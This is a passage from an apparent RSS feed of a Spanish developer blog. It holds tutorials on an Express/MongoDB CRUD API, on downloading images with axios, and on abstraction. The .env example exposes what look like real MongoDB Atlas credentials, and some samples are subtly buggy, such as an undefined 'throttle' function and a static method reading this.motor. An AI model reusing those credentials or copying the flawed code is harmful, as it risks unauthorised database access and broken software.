  },
};

<span class="hljs-built_in">module</span>.exports = config;
</code></pre>
<p>Estamos desestrucutrando los valores provenientes de process.env gracias a dotenv, sin embargo, aún no tenemos valores para extraer. Por ende, crearemos en la raíz de nuestra aplicación un archivo llamado .env</p>
<pre><code class="lang-js">PORT_APP=<span class="hljs-number">3000</span>
MONGO_URL=mongodb+srv:<span class="hljs-comment">//brahiblog:brahiblog@cluster0.hfisa.mongodb.net/?retryWrites=true&amp;w=majority</span>
</code></pre>
<p>En nuestras variables de entorno, irán todos aquellos datos de carácter sensible. Y estos, bajo ninguna circunstancia deben aparecer en nuestro árbol de git. Para solventar, podemos crear un archivo llamado .gitignore en la raíz de nuestra aplicación.  </p>
<pre><code>.env
/node_modules
</code></pre><h1 id="heading-models">Models</h1>
<p>Una vez hemos definido nuestra configuración inicial, podemos definir nuestro modelo producto. Para ello, dentro de la carpeta models, crearemos un archivo llamado product-model.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);
<span class="hljs-keyword">const</span> { Schema } = mongoose;

<span class="hljs-keyword">const</span> ProductSchema = <span class="hljs-keyword">new</span> Schema({
  <span class="hljs-attr">title</span>: {
    <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
    <span class="hljs-attr">required</span>: [<span class="hljs-literal">true</span>, <span class="hljs-string">"The title is required"</span>],
    <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span>,
  },
  <span class="hljs-attr">price</span>: {
    <span class="hljs-attr">type</span>: <span class="hljs-built_in">Number</span>,
    <span class="hljs-attr">required</span>: [<span class="hljs-literal">true</span>, <span class="hljs-string">"The price is required"</span>],
  },
  <span class="hljs-attr">description</span>: {
    <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
    <span class="hljs-attr">required</span>: [<span class="hljs-literal">true</span>, <span class="hljs-string">"The description is required"</span>],
  },
});

<span class="hljs-built_in">module</span>.exports = mongoose.model(<span class="hljs-string">"Product"</span>, ProductSchema);
</code></pre>
<h1 id="heading-repositories">Repositories</h1>
<p>Una vez nuestro modelo está definido con las propiedades que requerimos, podemos pensar en nuestro repositorio y en las queries hacia nuestra base de datos. Para ello, crearemos dentro de la carpeta repositories, un archivo llamado product.repository.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Product = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../models/product.model"</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ProductRepository</span> </span>{
  <span class="hljs-keyword">async</span> findAll() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> Product.find();
  }

  <span class="hljs-keyword">async</span> findById(id) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> Product.findById(id);
  }

  <span class="hljs-keyword">async</span> create(product) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> Product.create(product);
  }

  <span class="hljs-keyword">async</span> update(id, product) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> Product.findOneAndUpdate({ <span class="hljs-attr">_id</span>: id }, product, { <span class="hljs-attr">new</span>: <span class="hljs-literal">true</span> });
  }

  <span class="hljs-keyword">async</span> <span class="hljs-keyword">delete</span>(id) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> Product.deleteOne({ <span class="hljs-attr">_id</span>: id });
  }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> ProductRepository();
</code></pre>
<p>En el método update de esta clase, el objeto { new: true }, indica que en la response, nos devolverá el objeto editado, es decir, el nuevo objeto después de hacer dicha petición (update).</p>
<h1 id="heading-services">Services</h1>
<p>Una vez hemos definido nuestro repositorio, podemos continuar con nuestra lógica de negocios. Para ello, dentro de la carpeta services, crearemos un archivo llamado products.service.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> productRepository = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../repositories/product.repository'</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostService</span> </span>{
  <span class="hljs-keyword">async</span> findAll() {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> productRepository.findAll();
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
    }
  }

  <span class="hljs-keyword">async</span> findById(id) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> productRepository.findById(id);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
    }
  }

  <span class="hljs-keyword">async</span> create(product) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> productRepository.create(product);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
    }
  }

  <span class="hljs-keyword">async</span> update(id, product) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> productRepository.update(id, product, { <span class="hljs-attr">new</span>: <span class="hljs-literal">true</span> });
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
    }
  }

  <span class="hljs-keyword">async</span> <span class="hljs-keyword">delete</span>(id) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> productRepository.delete(id);
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
    }
  }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> PostService();
</code></pre>
<p>Nuestra lógica de negocios, además de hacer validaciones, también hará manejo de errores.</p>
<h1 id="heading-controllers">Controllers</h1>
<p>Una vez hemos definido nuestro servicio, podemos continuar con nuestro controlador, quien será el único encargado de comunicarse con el protocolo HTPP, la Request y la Response. Para ello, dentro de la carpeta controllers, creamos un archivo llamado products.controller.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> productsService = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../services/products.service'</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ProductsController</span> </span>{
  <span class="hljs-keyword">async</span> findAll(req, res) {
    <span class="hljs-keyword">const</span> products = <span class="hljs-keyword">await</span> productsService.findAll();

    res.status(<span class="hljs-number">200</span>).json(products);
  }

  <span class="hljs-keyword">async</span> findById(req, res) {
    <span class="hljs-keyword">const</span> { id } = req.params;

    <span class="hljs-keyword">const</span> product = <span class="hljs-keyword">await</span> productsService.findById(id);
    res.status(<span class="hljs-number">200</span>).json(product);
  }

  <span class="hljs-keyword">async</span> create(req, res) {
    <span class="hljs-keyword">const</span> { title, price, description } = req.body;

    <span class="hljs-keyword">const</span> product = <span class="hljs-keyword">await</span> productsService.create({ title, price, description });
    res.status(<span class="hljs-number">201</span>).json(product);
  }

  <span class="hljs-keyword">async</span> update(req, res) {
    <span class="hljs-keyword">const</span> { id } = req.params;
    <span class="hljs-keyword">const</span> { title, price, description } = req.body;

    <span class="hljs-keyword">const</span> product = <span class="hljs-keyword">await</span> productsService.update(id, { title, price, description });
    res.status(<span class="hljs-number">200</span>).json(product);
  }

  <span class="hljs-keyword">async</span> <span class="hljs-keyword">delete</span>(req, res) {
    <span class="hljs-keyword">const</span> { id } = req.params;

    <span class="hljs-keyword">const</span> product = <span class="hljs-keyword">await</span> productsService.delete(id);
    res.status(<span class="hljs-number">200</span>).json(product);
  }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> ProductsController();
</code></pre>
<p>Se puede observar que cada método está retornando la respuesta con un status code (en algunos casos, distintos). Estos códigos se les denomina <a target="_blank" href="https://developer.mozilla.org/es/docs/Web/HTTP/Status">códigos de estado de respuesta HTTP</a>. </p>
<h1 id="heading-routes">Routes</h1>
<p>Una vez hemos definido nuestro controlador, debemos construir los endpoints por los cuales se realizarán las peticiones a nuestra API, en otras palabras, definiremos rutas con sus respectivos métodos. Para ello, dentro de la carpeta routes, crearemos un archivo llamado products.route.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> { Router } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> routes = Router();

<span class="hljs-keyword">const</span> productsController = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../controllers/products.controller"</span>);

routes.get(<span class="hljs-string">"/"</span>, productsController.findAll);
routes.get(<span class="hljs-string">"/:id"</span>, productsController.findById);
routes.post(<span class="hljs-string">"/create"</span>, productsController.create);
routes.put(<span class="hljs-string">"/update/:id"</span>, productsController.update);
routes.delete(<span class="hljs-string">"/delete/:id"</span>, productsController.delete);

<span class="hljs-built_in">module</span>.exports = routes;
</code></pre>
<p>Una vez tenemos nuestra ruta de productos con sus respectivos métodos, crearemos un índice de rutas, considerando que nuestra aplicación podría escalar. Para ello, dentro de la carpeta routes, crearemos un archivo llamado index.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> { Router } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> routes = Router();

<span class="hljs-keyword">const</span> productsRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./products.route'</span>);

routes.use(<span class="hljs-string">'/products'</span>, productsRoutes);

<span class="hljs-built_in">module</span>.exports = routes;
</code></pre>
<p>En este punto, deberíamos poder levantar nuestra aplicación sin problemas. </p>
<pre><code class="lang-js">&gt; npm run dev

&gt; introbackend@<span class="hljs-number">1.0</span><span class="hljs-number">.0</span> dev
&gt; nodemon .

[nodemon] <span class="hljs-number">2.0</span><span class="hljs-number">.15</span>
[nodemon] to restart at any time, enter <span class="hljs-string">`rs`</span>
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting <span class="hljs-string">`node .`</span>
Connected to MongoDB
🔥 Server is running at port <span class="hljs-number">3000</span>
</code></pre>
<h1 id="heading-testing-con-postman">Testing con Postman</h1>
<p>Una vez tenemos nuestra aplicación corriendo, podemos realizar el test correspondiente a cada endpoint para confirmar que efectivamente, funcionan como se espera.
Si bien el orden que por convención se suele seguir, es:</p>
<pre><code class="lang-bash">findAll
findById
create
update
delete
</code></pre>
<p>A efectos prácticos, comenzaremos haciendo test de nuestro método POST del protocolo HTTP, en nuestra ruta /products/create mediante el método create de nuestro controlador.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661367233927/vTbC1ELIJ.png" alt="image.png" /></p>
<p>Se puede observar la response, con un status code 201 (created). Y el json que se ha creado.
Luego, haremos un test de el método GET del protocolo HTTP, en nuestra ruta default /products mediante el método findAll de nuestro controlador.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661367245026/-lsVnJXQM.png" alt="image.png" /></p>
<p>Luego, haremos un test de el método GET del protocolo HTTP, en nuestra ruta /products/:id mediante el método findById de nuestro controlador</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661367258584/d_d5F9HXG.png" alt="image.png" /></p>
<p>Se puede observar la response, con un status code 200 (ok). Y el json que se ha obtenido.
Luego, haremos test del método PUT del protocolo HTTP, en nuestra ruta /products/update/:id mediante el método update de nuestro controlador. Para ello, debemos agregar el ID del producto que deseamos editar en los parámetros de ruta, y también el el body del json a editar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661367288865/OJZkvFZGo.png" alt="image.png" /></p>
<p>Se puede observar la response, con un status code 200 (ok). Y el nuevo json editado.
Por último, haremos test del método DELETE del protocolo HTTP, en nuestra ruta /products/delete/:id mediante el método delete de nuestro controlador. Para ello, debemos agregar el ID del producto que deseamos eliminar en los parámetros de ruta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661367304579/umF0kDBKg.png" alt="image.png" /></p>
<p>Se puede observar la response, con un status code 200. Y el deletedCount 1.</p>
<h1 id="heading-agradecimientos">Agradecimientos</h1>
<p>Un especial agradecimiento a <a target="_blank" href="https://www.linkedin.com/in/perez-alan/">Scorpion</a> y <a target="_blank" href="https://www.linkedin.com/in/francogrecco/">Franco</a>.</p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Descargar múltiples imagenes con Axios en Node]]></title><description><![CDATA[Suponiendo que se necesita descargar la imagen correspondiente a cada url en un arreglo de imagenes. Para lograrlo, haremos uso de las librerías que se mencionan a continuación. Además, resolveremos un problema de cola con fin de que nuestras descarg...]]></description><link>https://blog.brahianpdev.com/descargar-multiples-imagenes-con-axios-en-node</link><guid isPermaLink="true">https://blog.brahianpdev.com/descargar-multiples-imagenes-con-axios-en-node</guid><category><![CDATA[backend]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[axios]]></category><category><![CDATA[docker images]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 24 Aug 2022 18:29:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/YrKsjHRglWw/upload/v1661364947421/tvNtz5tjm.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Suponiendo que se necesita descargar la imagen correspondiente a cada url en un arreglo de imagenes. Para lograrlo, haremos uso de las librerías que se mencionan a continuación. Además, resolveremos un problema de cola con fin de que nuestras descargas se realizen una a la vez sin errores. </p>
<p><strong>Requisitos necesarios</strong></p>
<p><a target="_blank" href="https://www.npmjs.com/package/axios">axios</a></p>
<p><a target="_blank" href="https://www.npmjs.com/package/throttled-queue">throttled-queue</a></p>
<p>En caso de no tener creada nuestra aplicación, procedemos a ejecutar:</p>
<pre><code class="lang-bash">npm init --y
npm i axios throttled-queue
</code></pre>
<p>Nota: Recordar que, tanto fs como path, vienen por defecto en Node.</p>
<p><strong>Comenzamos a codear</strong></p>
<p>Ahora, podemos proceder a solventar el problema. Crearemos un archivo llamado download.images.js en la carpeta que se considere adecuada. A efectos prácticos, al no tener una estructura definida, en mi caso, se creará en la raíz de mi aplicación.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> throttledQueue = <span class="hljs-built_in">require</span>(<span class="hljs-string">'throttled-queue'</span>);
<span class="hljs-keyword">const</span> axios = <span class="hljs-built_in">require</span>(<span class="hljs-string">'axios'</span>);
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">downloadImages</span>(<span class="hljs-params">fileUrl, downloadPath</span>) </span>{
    throttle(<span class="hljs-keyword">async</span> () =&gt; {
        <span class="hljs-keyword">const</span> fileName = path.basename(fileUrl);
        <span class="hljs-keyword">const</span> localFilePath = path.resolve(__dirname, downloadPath, fileName);

        <span class="hljs-keyword">try</span> {
            <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> axios({
                <span class="hljs-attr">method</span>: <span class="hljs-string">'GET'</span>,
                <span class="hljs-attr">url</span>: fileUrl,
                <span class="hljs-attr">responseType</span>: <span class="hljs-string">'stream'</span>,
            });

            <span class="hljs-keyword">const</span> writer = response.data.pipe(fs.createWriteStream(localFilePath));

            writer.on(<span class="hljs-string">'finish'</span>, <span class="hljs-function">() =&gt;</span> {
                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Successfully downloaded file/s!'</span>);
            });

        } <span class="hljs-keyword">catch</span> (error) {
            <span class="hljs-built_in">console</span>.log(error);
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(error);
        }
    })
};

<span class="hljs-built_in">module</span>.exports = downloadImages;
</code></pre>
<p>Una vez tenemos definida nuestra función de descarga de imágenes, procedemos a su caso de uso. Para eso, necesitaremos nuestro arreglo de urls sobre el cual iterar mientras descargamos las imágenes una a una.</p>
<p>Crearemos un archivo index.js donde agregaremos un arreglo de urls de ejemplo:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> downloadImages = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./download.images'</span>);

<span class="hljs-keyword">const</span> urls = [
    <span class="hljs-string">'https://i.pinimg.com/originals/10/ee/1a/10ee1a02b96ed40101d1a2ed7d9bb9da.png'</span>,
    <span class="hljs-string">'https://masdeloqueimaginas.elmundo.es/assets/img/05/poster.jpg'</span>,
    <span class="hljs-string">'https://estaticos-cdn.elperiodico.com/clip/c4973cb3-c944-4ece-943d-0e118060cdaa_alta-libre-aspect-ratio_default_0.jpg'</span>,
]

urls.forEach(<span class="hljs-function"><span class="hljs-params">url</span> =&gt;</span> {
    downloadImages(url, <span class="hljs-string">'download'</span>);
});
</code></pre>
<p>Como se ve en el código anterior, iteramos sobre nuestro arreglo de urls y además, le pasamos como segundo argumento a la función, un path correspondiente a la carpeta de descargas.</p>
<p>Nota: Crear dicha carpeta o definir la carpeta que se ajuste a tu necesidad.</p>
<p><strong>Testing</strong></p>
<p>Por último, para probar nuestra implementación, ejecutaremos nuestra aplicación.</p>
<pre><code class="lang-bash">node index
</code></pre>
<p>En la consola, veremos el siguiente mensaje (por cada imagen descargada).
Successfully downloaded file/s!</p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[La importancia de la abstracción]]></title><description><![CDATA[Desde los principios de la historia del desarrollo de software, se han visto múltiples problemáticas de distintas índoles, siendo una de las propuestas que aún en el día nos acompañan, la abstracción. En est breve artículo trataremos de abarcar de fo...]]></description><link>https://blog.brahianpdev.com/la-importancia-de-la-abstraccion</link><guid isPermaLink="true">https://blog.brahianpdev.com/la-importancia-de-la-abstraccion</guid><category><![CDATA[software architecture]]></category><category><![CDATA[clean code]]></category><category><![CDATA[best practices]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 24 Aug 2022 18:11:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/l5Tzv1alcps/upload/v1661364636549/uu36Ie-HC.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Desde los principios de la historia del desarrollo de software, se han visto múltiples problemáticas de distintas índoles, siendo una de las propuestas que aún en el día nos acompañan, la abstracción. En est breve artículo trataremos de abarcar de forma simple, dicha necesidad que no cesa, sino más bien, todo lo contrario.</p>
<p><strong>¿Qué es la abstracción?</strong></p>
<p>Entiendase por abstracción como una operación mental destinada a aislar conceptualmente una propiedad o función concreta de un objeto, ignorando las demás.
Para facilitar la interpretación, podemos pensar en algo tangible, como un vehículo. El cual tiene, por defecto, un tipo de motor el cual puede ser diesel, eléctrico u otro, una velocidad máxima y una fuente de poder (la cual se suele ver en caballos de fuerza o voltages). </p>
<pre><code class="lang-js">type Motor = {
  <span class="hljs-attr">type</span>: <span class="hljs-string">"DIESEL"</span> | <span class="hljs-string">"ELECTRIC"</span> | <span class="hljs-string">"GASOLINE"</span>;
  power: number;
  maxSpeed: number;
};

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Car</span> </span>{
  <span class="hljs-attr">motor</span>: Motor;

  <span class="hljs-keyword">constructor</span>(motor: Motor) {
    <span class="hljs-built_in">this</span>.motor = motor;
  }
}

<span class="hljs-keyword">const</span> volvoCar = <span class="hljs-keyword">new</span> Car({
  <span class="hljs-attr">type</span>: <span class="hljs-string">"DIESEL"</span>,
  <span class="hljs-attr">power</span>: <span class="hljs-number">100</span>,
  <span class="hljs-attr">maxSpeed</span>: <span class="hljs-number">200</span>,
});
</code></pre>
<p>En dicho ejemplo, se pueden ver las diferentes partes (también tangibles) de nuestro vehículo, por separado. Esta visualización e interpretación mental, es la abstracción.
Suponiendo que, para el vehículo en cuestión necesitamos una utilidad que calcule nuestra velocidad en tiempo real, así como el combustible restante, debemos nuevamente, por cuestiones de orden y buenas prácticas en cuanto a legibilidad y escalabilidad, pensar en abstracción.</p>
<pre><code class="lang-js"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UtilitityCar</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Car</span> </span>{
  <span class="hljs-keyword">static</span> motor: any;

  <span class="hljs-keyword">constructor</span>(motor: Motor) {
    <span class="hljs-built_in">super</span>(motor);
  }

  <span class="hljs-keyword">static</span> getVelocityInRealTime(speed: number, <span class="hljs-attr">time</span>: number) {
    <span class="hljs-keyword">return</span> speed * time;
  }

  <span class="hljs-keyword">static</span> remainingFuel(distance: number) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.motor.power * distance;
  }
}
</code></pre>
<p>De esta forma, cada método cumple una función específica aislada de la otra, respetando la definición de abstracción.</p>
<p><strong>¿Por qué importa?</strong></p>
<p>En el desarrollo de software, tener un código abstracto, se traduce en orden, fácil entendimiento y por ende, fácil continuidad de desarrollo. Sin necesidad de tener funcionalidades acopladas unas con otras, haciendo que a la hora de cambiar una de estas, no afecte a todas las demas (principio de responsabilidad única).</p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item></channel></rss>